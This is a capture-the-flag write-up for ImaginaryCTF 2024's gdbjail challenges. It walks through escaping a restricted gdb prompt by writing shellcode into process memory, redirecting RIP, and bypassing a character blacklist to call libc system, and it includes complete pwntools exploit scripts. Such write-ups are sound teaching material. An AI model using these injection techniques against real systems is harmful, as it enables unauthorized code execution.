> For the complete documentation index, see [llms.txt](https://writeups.omarsafwat.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://writeups.omarsafwat.com/misc/imaginaryctf-gdbjail-1-2.md).

# imaginaryctf - gdbjail 1 and 2

These challenges are part of the `misc` category of Imaginary CTF 2024. The idea is that you netcat into a Python script which has restrictions on user input and passes valid input to `gdb` through the `gdb` python library.

## gdbjail1

```python
import gdb

def main():
    gdb.execute("file /bin/cat")
    gdb.execute("break read")
    gdb.execute("run")

    while True:
        try:
            command = input("(gdb) ")
            if command.strip().startswith("break") or command.strip().startswith("set") or command.strip().startswith("continue"):
                try:
                    gdb.execute(command)
                except gdb.error as e:
                    print(f"Error executing command '{command}': {e}")
            else:
                print("Only 'break', 'set', and 'continue' commands are allowed.")
        except:
            pass

if __name__ == "__main__":
    main()
```

### Overview

The binary being debugged is `/bin/cat` and a breakpoint is placed at the `read` function from `libc` (wrapper for the `read` syscall). The only allowed gdb commands are `break`, `continue`, and `set`:

* `break` -> placing different types of breakpoints
* `continue` -> continues execution until the next breakpoint
* `set` -> used for setting memory, registers, and gdb vars

### Blocked paths

I was looking for ways to execute shell commands. `gdb` does have a way to achieve this using (`!`) however it must be at the beginning of the line (e.g. `!cat flag.txt`) which we cannot do here.

### "set"ting shellcode

Reading the [documentation about set](https://sourceware.org/gdb/current/onlinedocs/gdb.html/Assignment.html) and this [StackOverflow question](https://stackoverflow.com/questions/3305164/how-to-modify-memory-contents-using-gdb#:~:text=set%20%7Bchar%5B100%5D%7D\(0x00\)%20%3D%20%22%22) we can do the following:

```bash
# setting register
set $rip = 0x12345678

# setting memory at 0xaaaabbbb-0xaaaabbbe to \x00, \x01, \x03
set {char[16]}(0xaaaabbbb) = {0x00, 0x01, 0x03} 
```

**Game plan**: write our shellcode in a writable location in memory and point `rip` to it then continue execution. Since [gdb disables ASLR](https://visualgdb.com/gdbreference/commands/set_disable-randomization#:~:text=The%20default%20value%20for%20the%20disable%2Drandomization%20setting%20is%20%27on%27.) by default (the binary and all libraries are loaded in the same location each run), the memory mappings will stay the same across runs. I ran the docker container without the jail to get the same version of cat and chose a random executable memory location to place the shellcode.

### Code

I used Claude to write code for generating the gdb instructions for me (you can tell by the inhuman number of comments across the code).

This in my opinion is a good use of LLMs, we are not asking it to "solve" the problem or "escape a gdb jail". Instead, we (the humans) do the critical thinking and chaining of ideas to figure out a blueprint for a solution then ask the LLM to do the tedious work of writing the code given a concrete specification. Anyway here's the code:

```python
from pwn import asm, shellcraft

def generate_gdb_commands(shellcode: bytes, address: int, set_rip: bool = False) -> str:
    # Create the command to set the shellcode in memory
    shellcode_command = f"set {{char[{len(shellcode)}]}} 0x{address:x} = {{"
    shellcode_command += ", ".join(f"0x{byte:02x}" for byte in shellcode)
    shellcode_command += "}"

    # Create the command to set RIP, if needed
    rip_command = f"set $rip = 0x{address:x}" if set_rip else ""

    # Combine the commands
    commands = shellcode_command
    if set_rip:
        commands += "\n" + rip_command

    return commands


def create_shellcode() -> bytes:
    shellcode = asm(
        shellcraft.amd64.linux.cat("/home/user/flag.txt"), arch="amd64", os="linux"
    )
    return shellcode


def main():
    address = 0x555555556000
    set_rip = True

    # Generate shellcode using pwntools
    shellcode = create_shellcode()

    # Generate GDB commands
    gdb_commands = generate_gdb_commands(shellcode, address, set_rip)
    print(gdb_commands)


if __name__ == "__main__":
    main()
```

This generates the following:

```bash
set {char[62]} 0x555555556000 = {0x68, 0x75, 0x79, 0x75, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01, 0x01, 0x01, 0x48, 0xb8, 0x65, 0x72, 0x2f, 0x66, 0x6c, 0x61, 0x67, 0x2e, 0x50, 0x48, 0xb8, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x75, 0x73, 0x50, 0x6a, 0x02, 0x58, 0x48, 0x89, 0xe7, 0x31, 0xf6, 0x0f, 0x05, 0x41, 0xba, 0xff, 0xff, 0xff, 0x7f, 0x48, 0x89, 0xc6, 0x6a, 0x28, 0x58, 0x6a, 0x01, 0x5f, 0x99, 0x0f, 0x05}

set $rip = 0x555555556000

continue
```

You run it and you get: `ictf{n0_m0re_debugger_a2cd3018}`. Amazing, first challenge done ✅

## gdbjail2

In the sequel, two things change:

* tougher jail constraints
* requirement to get command execution

The full code for this jail is the following:

```python
import gdb

blacklist = ["p", "-", "&", "(", ")", "[", "]", "{", "}", "0x"]

def main():
    gdb.execute("file /bin/cat")
    gdb.execute("break read")
    gdb.execute("run")

    while True:
        try:
            command = input("(gdb) ")
            if any([word in command for word in blacklist]):
                print("Banned word detected!")
                continue
            if command.strip().startswith("break") or command.strip().startswith("set") or command.strip().startswith("continue"):
                try:
                    gdb.execute(command)
                except gdb.error as e:
                    print(f"Error executing command '{command}': {e}")
            else:
                print("Only 'break', 'set', and 'continue' commands are allowed.")
        except:
            pass

if __name__ == "__main__":
    main()
```

### Added difficulty

#### Tougher jail constraints

First, the following blacklist is added to the Python script, disallowing any command which features any of the following strings:

```python
blacklist = ["p", "-", "&", "(", ")", "[", "]", "{", "}", "0x"]
```

This means that setting rip is no longer feasible (we need to work in the current place) and also setting memory is harder since the syntax contains curly braces and square brackets.

#### Must get command execution

The "cat" function as part of the shellcraft module from pwntools does not actually use the cat binary. It uses syscalls to read the exact file name. As such, using wildcards would fail since it would be looking for the literal `*` symbol. Therefore, we need to be able to execute arbitrary commands so we can reach the flag file.

### The plan

Command execution = `libc.system` especially since there is no ASLR. By running the container locally I get the address of `libc` (and `libc` itself through a volume). Now we have `system` but how do we even call it? And how do we move rip if the letter 'p' is blocked?

#### Where to place the shellcode

Since we know where the breakpoint is and hence where rip is, we can just place the shellcode there. The exact address is found through the container.

#### "set"ting memory

Trying different payloads I found that I can set each individual byte without using any braces or brackets. However, `0x` is disabled but that's not a big issue since we can omit it and write the decimal equivalent (looks weird seeing an address in decimal but works).

```bash
# sets the byte at location 1234 (decimal) to 50 (decimal)
# no braces or 0x so we're good
set *1234 = 50
```

### Putting it all together

Combining everything we have so far we get the following code:

```python
from pwn import *

libc = ELF('./libc.so.6')
libc.address = 0x7ffff7d8f000
context.arch = 'amd64'
context.os = 'linux'

# find system address
system = libc.symbols['system']
print(f"system address: {hex(system)}")

def create_shellcode() -> bytes:
    command_addr = 0x7fffffffeaf8
    command = b"cat *.txt\x00"
    command += (16 - len(command)) * b"\x00"

# Construct the shellcode to write the command into memory and call system
    code = f"""
        mov rax, {command_addr}
        mov rbx, {u64(command[:8])}
        mov [rax], rbx
        mov rbx, {u64(command[8:]) }
        mov [rax + 8], rbx
        mov rdi, rax
        mov rcx, {system}
        jmp rcx
    """
    
    shellcode = asm(code,
        arch="amd64", os="linux"
    )
    return shellcode

shellcode = create_shellcode()

p = remote('gdbjail2.chal.imaginaryctf.org', 1337)

context.log_level = 'debug'
# found this by running the container locally (gdb disables ASLR)
# this is where RIP is when the breakpoint is hit
start_address = 0x7ffff7ea37d0
for i, byte in enumerate(shellcode):
    p.recvuntil(b'(gdb) ')
    string = f"set *{start_address + i} = {byte}"
    p.sendline(string)

p.interactive()
```

And we get the flag `ictf{i_l0ve_syscalls_eebc5336}` ✅
